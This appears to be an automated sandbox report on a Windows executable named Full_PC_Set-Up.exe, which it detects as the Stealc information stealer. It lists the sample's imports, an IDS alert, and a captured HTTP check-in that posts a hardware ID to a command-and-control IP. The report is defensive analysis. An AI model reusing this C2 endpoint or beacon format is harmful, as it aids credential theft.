GetCurrentThreadId, SetEvent, FreeLibrary, GetWindowsDirectoryW, ReadFile, GetFileSize, FindClose, FindFirstFileW, GetVolumeInformationW, GetDriveTypeW, GetLogicalDrives, lstrcpyW, CreateMutexW, GetVersion, GetCurrentProcess, GetCurrentThread, WaitForMultipleObjects, CreateProcessW, CreateFileW, CreateEventW, TerminateThread, InitializeCriticalSection, CloseHandle, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, Sleep, GetExitCodeThread, WaitForSingleObject, CreateThread, InterlockedDecrement, InterlockedIncrement, GlobalFree, GlobalAlloc, MultiByteToWideChar, FreeResource, SetCurrentDirectoryW, DeleteFileW, GetDiskFreeSpaceExW, GetCurrentDirectoryW, SetFileAttributesW, GetVersionExW, FileTimeToSystemTime, GetPrivateProfileIntW, GetModuleFileNameW, MulDiv, GetSystemDefaultLangID, SetThreadLocale, GetTickCount, GetProcAddress, GetModuleHandleW, LoadLibraryW, SetLastError, GetLastError, SetUnhandledExceptionFilter, GetCommandLineW, LocalFree, SizeofResource, LockResource, LoadResource, GetUserDefaultLCID
USER32.dll	GetTopWindow, UnhookWindowsHookEx, GetMessageTime, MapWindowPoints, ScrollWindow, GetKeyState, SetMenu, SetScrollPos, GetScrollPos, IsWindowVisible, GetMenuItemID, GetMenuItemCount, CreateWindowExW, GetClassInfoExW, GetClassInfoW, AdjustWindowRectEx, DeferWindowPos, GetScrollInfo, SetScrollInfo, GetDlgCtrlID, CallWindowProcW, GetMenu, GetWindowLongW, SetWindowPos, SystemParametersInfoA, IsIconic, GetWindowPlacement, GetWindow, SetDlgItemTextW, GetMessageW, GetDlgItem, IsDialogMessageW, SetWindowTextW, MoveWindow, SetForegroundWindow, IsWindowEnabled, MessageBeep, SetWindowLongW, KillTimer, FillRect, GetSystemMetrics, SetActiveWindow, GetAsyncKeyState, CopyIcon, GetMessagePos, DestroyCursor, LockWindowUpdate, LoadImageW, DrawFocusRect, GetActiveWindow, SetLayeredWindowAttributes, SetParent, RedrawWindow, GetDCEx, ReleaseDC, GetDC, DrawIcon, DrawTextA, ShowWindow, GetCapture, SetFocus, EndDeferWindowPos, BeginDeferWindowPos, GetLastActivePopup, GetForegroundWindow, GetWindowTextW, GetWindowTextLengthW, RemovePropW, GetPropW, SetPropW, GetClassNameW, GetClassLongW, wsprintfW, GetSubMenu, LoadMenuW, CallNextHookEx, SetWindowsHookExW, IsChild, WinHelpW, SendDlgItemMessageA, SendDlgItemMessageW, IsCharAlphaW, CheckMenuItem, EnableMenuItem, EnableWindow, UpdateWindow, GetParent, LoadIconW, SendMessageW, DefWindowProcW, LoadCursorW, RegisterClassW, MessageBoxW, IsWindow, RegisterWindowMessageW, OffsetRect, GetClientRect, DrawTextW, LoadBitmapW, GetWindowRect, TabbedTextOutW, DrawTextExW, GetMenuState, ModifyMenuW, GetMenuCheckMarkDimensions, SetMenuItemBitmaps, GetWindowThreadProcessId, ValidateRect, EndDialog, GetNextDlgTabItem, CreateDialogIndirectParamW, GetDesktopWindow, InsertMenuW, GetMenuStringW, GetWindowDC, BeginPaint, EndPaint, PostQuitMessage, ShowOwnedPopups, MapVirtualKeyW, GetMenuItemInfoW, DestroyMenu, CharUpperW, WindowFromPoint, MapDialogRect, GetSysColorBrush, UnregisterClassW, DeleteMenu, WaitMessage, UnionRect, GetSystemMenu, SetRect, UnpackDDElParam, ReuseDDElParam, LoadAcceleratorsW, InsertMenuItemW, BringWindowToTop, DrawEdge, GrayStringW, SetTimer, PeekMessageW, TranslateMessage, DispatchMessageW, DestroyWindow, ReleaseCapture, SetCapture, TrackMouseEvent, IntersectRect, CreatePopupMenu, AppendMenuW, TrackPopupMenu, PtInRect, InvalidateRect, SetRectEmpty, SystemParametersInfoW, GetCursorPos, ScreenToClient, EqualRect, IsRectEmpty, InflateRect, ShowScrollBar, PostThreadMessageW, GetNextDlgGroupItem, InvalidateRgn, TranslateMDISysAccel, DrawMenuBar, DefFrameProcW, SetWindowContextHelpId, CharNextW, LoadStringW, TranslateAcceleratorW, GetKeyboardLayoutList, GetKeyboardState, ToUnicodeEx, CopyAcceleratorTableW, SetCursorPos, GetMenuDefaultItem, IsWindowUnicode, GetWindowLongA, SetWindowLongA, SendMessageTimeoutW, IsMenu, GetWindowRgn, GetTabbedTextExtentA, GetDoubleClickTime, ShowCaret, HideCaret, IsClipboardFormatAvailable, DrawFrameControl, SetWindowRgn, RegisterClipboardFormatW, CreateIconIndirect, DrawStateW, InvertRect, LoadMenuIndirectW, LookupIconIdFromDirectoryEx, CreateIconFromResourceEx, ClientToScreen, SetCursor, GetIconInfo, DrawIconEx, DestroyIcon, SendNotifyMessageW, GetSysColor, GetFocus, PostMessageW, CopyRect, GetCursor
GDI32.dll	SetMapMode, ExcludeClipRect, IntersectClipRect, LineTo, MoveToEx, SelectClipRgn, GetClipRgn, GetViewportExtEx, GetWindowExtEx, SetViewportOrgEx, OffsetViewportOrgEx, SetViewportExtEx, ScaleViewportExtEx, OffsetWindowOrgEx, ScaleWindowExtEx, GetCurrentPositionEx, PolyBezierTo, ExtSelectClipRgn, CreatePatternBrush, CreateRectRgnIndirect, SetRectRgn, CombineRgn, GetMapMode, DPtoLP, GetTextMetricsW, CreateFontW, StretchDIBits, EnumFontFamiliesExW, SetWindowExtEx, SetStretchBltMode, SetBkMode, RestoreDC, SaveDC, SetTextColor, GetClipBox, CreatePen, SetBkColor, GetPixel, CreateBitmap, CreateRectRgn, CreateSolidBrush, GetBkColor, GetCurrentObject, DeleteDC, GetDeviceCaps, SetPixel, PatBlt, RoundRect, GetCharWidthW, CreateFontIndirectW, Rectangle, BitBlt, CreateCompatibleBitmap, DeleteObject, GetObjectW, Escape, Polygon, StretchBlt, CreateDIBSection, GetDIBits, GetBitmapBits, ExtCreateRegion, GetTextColor, GetWindowOrgEx, CreatePolygonRgn, GetRgnBox, GetTextAlign, GetTextExtentPoint32A, Ellipse, Polyline, StrokePath, FillPath, StrokeAndFillPath, EndPath, CloseFigure, BeginPath, PtInRegion, GetViewportOrgEx, ExtTextOutW, TextOutW, RectVisible, PtVisible, GetTextExtentPoint32W, SelectObject, CreateCompatibleDC, SetWindowOrgEx, GetStockObject
COMDLG32.dll	GetFileTitleW
WINSPOOL.DRV	DocumentPropertiesW, OpenPrinterW, ClosePrinter
ADVAPI32.dll	CloseEncryptedFileRaw, OpenThreadToken, OpenProcessToken, FreeSid, GetTokenInformation, EqualSid, RegCreateKeyExW, RegSetValueExW, RegCloseKey, RegOpenKeyW, RegEnumKeyW, RegDeleteKeyW, OpenEncryptedFileRawW, WriteEncryptedFileRaw, AllocateAndInitializeSid, RegDeleteValueW, RegQueryValueW, RegEnumKeyExW, RegQueryValueExW, RegOpenKeyExW
SHELL32.dll	CommandLineToArgvW, SHGetFileInfoW, ExtractIconW, SHGetDesktopFolder, SHGetMalloc, SHGetSpecialFolderLocation, SHGetPathFromIDListW, DragFinish, DragQueryFileW, ShellExecuteW
COMCTL32.dll	InitCommonControlsEx, _TrackMouseEvent, ImageList_GetImageCount, ImageList_GetIconSize, ImageList_DrawEx, ImageList_Destroy
SHLWAPI.dll	PathFileExistsW, PathFindFileNameW, PathFindExtensionW, UrlUnescapeW, PathStripToRootW, PathIsUNCW, PathRemoveFileSpecW
ole32.dll	CoDisconnectObject, CoTaskMemAlloc, CoTaskMemFree, CoUninitialize, CLSIDFromString, CoInitialize, CoCreateInstance, CreateStreamOnHGlobal, OleRun, CLSIDFromProgID, RegisterDragDrop, CoLockObjectExternal, RevokeDragDrop, CoGetClassObject, StgOpenStorageOnILockBytes, StgCreateDocfileOnILockBytes, CreateILockBytesOnHGlobal, OleUninitialize, CoFreeUnusedLibraries, OleInitialize, OleIsCurrentClipboard, OleFlushClipboard, CoRevokeClassObject, CoRegisterMessageFilter, CoInitializeEx
OLEAUT32.dll	LoadTypeLib, VarBstrFromDate, SafeArrayDestroy, VariantCopy, SafeArrayGetDim, SafeArrayGetLBound, SafeArrayGetUBound, SafeArrayAccessData, SafeArrayUnaccessData, VarDateFromStr, SysStringByteLen, VariantInit, VariantChangeType, VariantClear, SysAllocStringLen, SysAllocString, SysStringLen, SysAllocStringByteLen, SysFreeString, SystemTimeToVariantTime, VariantTimeToSystemTime, OleLoadPicturePath, SafeArrayCreateVector, VarUdateFromDate, VariantChangeTypeEx, SafeArrayGetElemsize, OleCreateFontIndirect
gdiplus.dll	GdipBitmapLockBits, GdipDrawImageI, GdipDisposeImageAttributes, GdipCreateImageAttributes, GdipGetImageGraphicsContext, GdipCreateBitmapFromGraphics, GdipBitmapUnlockBits, GdipSetLineColors, GdipCreateLineBrushI, GdipDrawPath, GdipClosePathFigure, GdipAddPathArcI, GdipDrawImageRectRectI, GdipGetImageThumbnail, GdipGetImageWidth, GdipCreateBitmapFromFile, GdipCreateFromHWND, GdipMeasureString, GdipDrawImageRectI, GdipCreateBitmapFromHICON, GdipSetPathGradientFocusScales, GdipGetPathGradientPointCount, GdipSetPathGradientSurroundColorsWithCount, GdipSetPathGradientCenterColor, GdipCreatePathGradientFromPath, GdipAddPathRectangleI, GdipDrawRectangleI, GdipDrawPolygonI, GdipSetStringFormatTrimming, GdipReleaseDC, GdipGetDC, GdipDrawImageRectRect, GdipGetImageHeight, GdipGetClipBoundsI, GdipSetPenDashStyle, GdipDrawLineI, GdipFillRectangleI, GdipSetSmoothingMode, GdipDeleteFontFamily, GdipDeleteFont, GdipDisposeImage, GdipCloneImage, GdipCreateBitmapFromStream, GdipCreateFont, GdipCreateFontFamilyFromName, GdipDrawString, GdipCreateSolidFill, GdipSetStringFormatLineAlign, GdipSetStringFormatAlign, GdipDeleteStringFormat, GdipCreateStringFormat, GdipSetClipRectI, GdipGraphicsClear, GdipDeleteGraphics, GdipCreateFromHDC, GdipDeletePen, GdipCreatePen1, GdipFillPath, GdipCloneBrush, GdipAlloc, GdipFree, GdipDeleteBrush, GdipCreateLineBrushFromRectI, GdipDeletePath, GdipCreatePath, GdiplusShutdown, GdiplusStartup, GdipSetLinePresetBlend, GdipCreatePen2, GdipSetStringFormatFlags
VERSION.dll	VerQueryValueW, GetFileVersionInfoW, GetFileVersionInfoSizeW
WININET.dll	InternetOpenUrlW, InternetCrackUrlW, InternetCanonicalizeUrlW, InternetQueryOptionW, InternetQueryDataAvailable, HttpQueryInfoW, InternetCloseHandle, InternetGetLastResponseInfoW, InternetOpenW, InternetSetStatusCallbackW, InternetWriteFile, InternetReadFile, InternetSetFilePointer
WINMM.dll	PlaySoundW
oledlg.dll	OleUIBusyW, OleUIAddVerbMenuW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States
Chinese	China

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-04T13:53:18.963298+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49735	45.200.148.115	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 4, 2024 13:53:18.121649027 CEST	49735	80	192.168.2.4	45.200.148.115
Oct 4, 2024 13:53:18.126729965 CEST	80	49735	45.200.148.115	192.168.2.4
Oct 4, 2024 13:53:18.126832008 CEST	49735	80	192.168.2.4	45.200.148.115
Oct 4, 2024 13:53:18.126966953 CEST	49735	80	192.168.2.4	45.200.148.115
Oct 4, 2024 13:53:18.131869078 CEST	80	49735	45.200.148.115	192.168.2.4
Oct 4, 2024 13:53:18.752006054 CEST	80	49735	45.200.148.115	192.168.2.4
Oct 4, 2024 13:53:18.752130985 CEST	49735	80	192.168.2.4	45.200.148.115
Oct 4, 2024 13:53:18.754751921 CEST	49735	80	192.168.2.4	45.200.148.115
Oct 4, 2024 13:53:18.763242960 CEST	80	49735	45.200.148.115	192.168.2.4
Oct 4, 2024 13:53:18.963151932 CEST	80	49735	45.200.148.115	192.168.2.4
Oct 4, 2024 13:53:18.963298082 CEST	49735	80	192.168.2.4	45.200.148.115
Oct 4, 2024 13:53:20.479854107 CEST	49735	80	192.168.2.4	45.200.148.115

HTTP Request Dependency Graph

45.200.148.115

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49735	45.200.148.115	80	7444	C:\Users\user\Desktop\Full_PC_Set-Up.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 13:53:18.126966953 CEST	89	OUT	GET / HTTP/1.1 Host: 45.200.148.115 Connection: Keep-Alive Cache-Control: no-cache
Oct 4, 2024 13:53:18.752006054 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 04 Oct 2024 11:53:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 4, 2024 13:53:18.754751921 CEST	409	OUT	POST /0a616124ff2f2b69.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGCGDBGCAAEBFIECGHD Host: 45.200.148.115 Content-Length: 208 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 36 35 44 35 45 36 32 46 45 45 35 38 34 35 37 37 30 33 39 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 62 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 2d 2d 0d 0a Data Ascii: ------JDGCGDBGCAAEBFIECGHDContent-Disposition: form-data; name="hwid"865D5E62FEE5845770397------JDGCGDBGCAAEBFIECGHDContent-Disposition: form-data; name="build"b6------JDGCGDBGCAAEBFIECGHD--
Oct 4, 2024 13:53:18.963151932 CEST	178	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 04 Oct 2024 11:53:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 8 Connection: keep-alive Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	07:53:10
Start date:	04/10/2024
Path:	C:\Users\user\Desktop\Full_PC_Set-Up.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Full_PC_Set-Up.exe"
Imagebase:	0x290000
File size:	7'230'768 bytes
MD5 hash:	7400E305A002A18FBEC6A6D189EF6879
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1877669838.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1878986975.0000000002C60000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.5%
Total number of Nodes:	283
Total number of Limit Nodes:	1

Executed Functions

Function 0038D4D0 Relevance: 12.1, APIs: 2, Strings: 4, Instructions: 1563
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileMappingW.KERNELBASE(?,-00000002B58E5A45,?,2C28A076,-00000001C544495B,?,003921F2,00000004,005645E0,0000000C,0038D358,?,?,00000000,00000000,00000000), ref: 0038DE1A
MapViewOfFile.KERNEL32(00000001,-000000029A971711,3597A20B,?,-000000061CD94D8F,?,-00000002B58E5A45,?,2C28A076,-00000001C544495B,?,003921F2,00000004,005645E0,0000000C,0038D358), ref: 0038E46C

Strings

\~_, xrefs: 0038D509
nSet@@, xrefs: 0038D4D7, 0038D4D8
Code@@, xrefs: 0038D501
OW, xrefs: 0038E24D

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: File$CreateMappingView
String ID: OW$Code@@$\~_$nSet@@
API String ID: 3452162329-2745318297
Opcode ID: 267b3f3f3b33bcbaf34eff0dc36252793bd61d84bf16d3c52ed57e8a5faffacf
Instruction ID: 4c6178e5f2091334126bdb242b999c0db0ef34cd19dbd8f3b739db3147e30858
Opcode Fuzzy Hash: 267b3f3f3b33bcbaf34eff0dc36252793bd61d84bf16d3c52ed57e8a5faffacf
Instruction Fuzzy Hash: 77829B6B9257390A575AFABA9C9A17E0003A7D03087C6F72DE957DF64ADE3C884700C6

Function 0038D8B2 Relevance: 6.5, APIs: 2, Strings: 1, Instructions: 1241
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileMappingW.KERNELBASE(?,-00000002B58E5A45,?,2C28A076,-00000001C544495B,?,003921F2,00000004,005645E0,0000000C,0038D358,?,?,00000000,00000000,00000000), ref: 0038DE1A
MapViewOfFile.KERNEL32(00000001,-000000029A971711,3597A20B,?,-000000061CD94D8F,?,-00000002B58E5A45,?,2C28A076,-00000001C544495B,?,003921F2,00000004,005645E0,0000000C,0038D358), ref: 0038E46C

Strings

OW, xrefs: 0038E24D

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: File$CreateMappingView
String ID: OW
API String ID: 3452162329-1311028941
Opcode ID: 83c88cf905bcf6d60d2a682e3bf8ee84419711cf53a95a50b338ecb57e14cdfe
Instruction ID: db7d0636e7a2ae7083a030cf98942cca7303a7722eb19627734ec965b14dacf4
Opcode Fuzzy Hash: 83c88cf905bcf6d60d2a682e3bf8ee84419711cf53a95a50b338ecb57e14cdfe
Instruction Fuzzy Hash: BA629D6B96573907675AFABA9C9A17E0043EBD0308786F72DE957CF54ADE3C884300C5

Function 0038D97B Relevance: 4.4, APIs: 1, Strings: 1, Instructions: 877
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileMappingW.KERNELBASE(?,-00000002B58E5A45,?,2C28A076,-00000001C544495B,?,003921F2,00000004,005645E0,0000000C,0038D358,?,?,00000000,00000000,00000000), ref: 0038DE1A

Strings

OW, xrefs: 0038E24D

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: CreateFileMapping
String ID: OW
API String ID: 524692379-1311028941
Opcode ID: 58bcd6093540a96ff8111bdd3fb7a7e472fd237b62140f09031bcf98c53a7c94
Instruction ID: 72132f2531147abfbb936f71e51afdb069182d245b5dad1d626a576f247ed220
Opcode Fuzzy Hash: 58bcd6093540a96ff8111bdd3fb7a7e472fd237b62140f09031bcf98c53a7c94
Instruction Fuzzy Hash: 92229B6B92573807575ABABA8D9B17E0043ABD03083C6B72DE957DF64ADE3C894700C6

Function 0038E41F Relevance: 1.8, APIs: 1, Instructions: 295
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MapViewOfFile.KERNEL32(00000001,-000000029A971711,3597A20B,?,-000000061CD94D8F,?,-00000002B58E5A45,?,2C28A076,-00000001C544495B,?,003921F2,00000004,005645E0,0000000C,0038D358), ref: 0038E46C

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: 20b24e12071d224bf4a32ff74ca483bc9acddf28f3a9db31074edbd1159170d8
Instruction ID: 8e7e8931e617c992e3c400ae2f629a29f47528be0b3c7ead7f52a5df1822a730
Opcode Fuzzy Hash: 20b24e12071d224bf4a32ff74ca483bc9acddf28f3a9db31074edbd1159170d8
Instruction Fuzzy Hash: 5D612B2FA55B390AA71EFABA5C9617E0043F7D1309B96B72DE957CF54ADE38884300C1

Non-executed Functions

Function 0030D910 Relevance: 63.3, APIs: 28, Strings: 8, Instructions: 340
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000,5EBD7D5F,00000001,?,00000000,00000000,?,004CB0C6,000000FF,0030D7D3), ref: 0030D979
GetLastError.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000,5EBD7D5F,00000001,?,00000000,00000000,?,004CB0C6,000000FF,0030D7D3), ref: 0030D985
swprintf.LIBCMT ref: 0030D9C4
CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000002,00000080,00000000,?,?,?,00000000,?,?,?,?,00000000), ref: 0030D9EB
GetLastError.KERNEL32(?,?,?,00000000,?,?,?,?,00000000), ref: 0030D9F1
__wsplitpath.LIBCMT ref: 0030DA18
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0030DA42
CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000002,00000080,00000000), ref: 0030DA64
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,?,?,?,?,00000000), ref: 0030DA6A
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0030DA8F
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0030DA9E
CloseHandle.KERNEL32(?), ref: 0030DCE6
OpenEncryptedFileRawW.ADVAPI32(?,00000001,?), ref: 0030DD03
SetFilePointer.KERNEL32(?,00000000,00000000,00000000), ref: 0030DD15
WriteEncryptedFileRaw.ADVAPI32(0030DDD0,?,?), ref: 0030DD3C
CloseEncryptedFileRaw.ADVAPI32(?), ref: 0030DD47
CloseHandle.KERNEL32(?), ref: 0030DD56
DeleteFileW.KERNEL32(?), ref: 0030DD64
GetLastError.KERNEL32 ref: 0030DD6E
CloseHandle.KERNEL32(?), ref: 0030DD93

Strings

creating efs file fail., xrefs: 0030DA79
*, xrefs: 0030DB40
N, xrefs: 0030DB4B
F, xrefs: 0030DB56
%s\$~EFS~#1.$EFS, xrefs: 0030DA25
%s.EFS, xrefs: 0030D9AA
opening file fail %s, xrefs: 0030D996
delete temporary : %s, Error code:%d, xrefs: 0030DD7D

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: File$Close$Handle$ErrorLast$CreateEncrypted$DeleteOpenPointerWrite__wsplitpathswprintf
String ID: %s.EFS$%s\$~EFS~#1.$EFS$*$F$N$creating efs file fail.$delete temporary : %s, Error code:%d$opening file fail %s
API String ID: 506298967-3156037231
